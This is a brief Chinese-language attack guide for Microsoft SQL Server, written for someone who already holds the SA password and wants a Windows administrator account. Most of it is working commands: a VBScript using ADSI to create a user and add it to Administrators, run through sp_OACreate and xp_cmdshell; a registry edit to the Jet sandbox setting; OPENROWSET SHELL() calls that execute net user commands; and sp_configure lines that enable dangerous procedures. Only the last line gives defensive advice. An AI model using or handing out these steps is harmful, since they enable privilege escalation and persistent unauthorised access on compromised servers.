獲得 SA 密碼後,常因 net.exe/net1.exe 被限制無法建立系統管理員帳號。利用 SQL Server 內建 OLE 自動化與擴展預存程序可繞過限制。
編寫 VBScript 呼叫 ADSI WinNT:// 提供者建立用戶並加入 Administrators 群組:
Set ws = CreateObject("WScript.Network")
os = "WinNT://" & ws.ComputerName
Set ob = GetObject(os)
Set oe = GetObject(os & "/Administrators,group")
Set od = ob.Create("user", "test")
od.SetPassword "ComplexP@ss123"
od.SetInfo
Set of = GetObject(os & "/test", "user")
oe.Add os & "/test"
在查詢分析器中用 sp_OACreate/sp_OAMethod 寫入 c:\1.vbs,再 EXEC master..xp_cmdshell 'cscript c:\1.vbs' 執行(需分批執行避免檔案鎖定衝突)。
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1ias.mdb 執行命令:SELECT * FROM OPENROWSET('Microsoft.Jet.OLEDB.4.0',';database=c:\Windows\system32\ias\ias.mdb','SELECT SHELL("cmd.exe /c net user test ComplexP@ss123 /add")')SELECT * FROM OPENROWSET('Microsoft.Jet.OLEDB.4.0',';database=c:\Windows\system32\ias\ias.mdb','SELECT SHELL("cmd.exe /c net localgroup administrators test /add")')路徑視 OS 版本調整:NT/2K c:\winnt\system32\,XP/2003 c:\Windows\system32\。
-- 開啟 xp_cmdshell
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
-- 開啟 OPENROWSET / OPENDATASOURCE
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'Ad Hoc Distributed Queries', 1; RECONFIGURE;
-- 開啟 OLE 自動化
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;
防禦: 嚴格管控 SA 帳號、禁用/移除高危擴展預存程序公開權限、服務帳號最小權限、啟用登入稽核與異常行為告警。